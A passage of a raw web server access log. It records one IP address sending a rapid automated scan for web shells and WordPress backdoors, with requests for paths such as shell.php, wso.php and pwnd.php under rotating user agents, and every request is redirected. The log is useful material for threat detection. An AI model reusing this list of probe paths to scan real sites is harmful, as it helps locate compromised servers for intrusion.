301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:06 -0400] "GET /eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:06 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:06 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:06 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:06 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:49:07 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:07 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:07 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.36.48.76 - - [26/Apr/2025:04:49:07 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:07 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:07 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:49:08 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:49:08 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:08 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:08 -0400] "GET /rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:08 -0400] "GET /wp-content/plugins/rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:08 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:09 -0400] "GET /.well-known/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:09 -0400] "GET /chosen.phppload HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:09 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:10 -0400] "GET /sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:10 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.36.48.76 - - [26/Apr/2025:04:49:10 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:10 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:10 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.36.48.76 - - [26/Apr/2025:04:49:10 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.36.48.76 - - [26/Apr/2025:04:49:10 -0400] "GET /user/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:11 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:11 -0400] "GET /wp-includes/css/dist/niil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:11 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:11 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:11 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.36.48.76 - - [26/Apr/2025:04:49:11 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.36.48.76 - - [26/Apr/2025:04:49:11 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:11 -0400] "GET /pgs.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:11 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:12 -0400] "GET /mjq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:12 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.36.48.76 - - [26/Apr/2025:04:49:12 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:12 -0400] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:49:12 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:12 -0400] "GET /.qiodeme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.36.48.76 - - [26/Apr/2025:04:49:12 -0400] "GET /ad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.36.48.76 - - [26/Apr/2025:04:49:12 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:12 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:13 -0400] "GET /df.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:13 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:13 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:13 -0400] "GET /Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:13 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.36.48.76 - - [26/Apr/2025:04:49:13 -0400] "GET /bv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:13 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:13 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:13 -0400] "GET /bk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:13 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:13 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:13 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:13 -0400] "GET /hj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:49:14 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:14 -0400] "GET /lp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:14 -0400] "GET /Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:14 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:14 -0400] "GET /yt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:14 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:14 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.36.48.76 - - [26/Apr/2025:04:49:15 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:15 -0400] "GET /.github/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:15 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:15 -0400] "GET /bn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.36.48.76 - - [26/Apr/2025:04:49:15 -0400] "GET /wordpress/update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:15 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.36.48.76 - - [26/Apr/2025:04:49:15 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:16 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:16 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:16 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:16 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:16 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:16 -0400] "GET /wp-admin/includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:17 -0400] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:17 -0400] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:17 -0400] "GET /wp-admin/css/colors/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:17 -0400] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:18 -0400] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:18 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:18 -0400] "GET /wp-content/themes/xc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:18 -0400] "GET /baxa1.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:18 -0400] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:18 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:18 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.36.48.76 - - [26/Apr/2025:04:49:18 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.36.48.76 - - [26/Apr/2025:04:49:18 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:18 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:19 -0400] "GET /wp-content/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:19 -0400] "GET /vv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:49:19 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:19 -0400] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:19 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:19 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:19 -0400] "GET /assets/css/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:19 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:19 -0400] "GET /ff.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:20 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:20 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:20 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:49:20 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:20 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:20 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:20 -0400] "GET /wp-includes/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:20 -0400] "GET /wp-admin/maint/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:20 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:20 -0400] "GET /wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:20 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:20 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:21 -0400] "GET /retu.php HTTP/1.1" 301 795 "-" 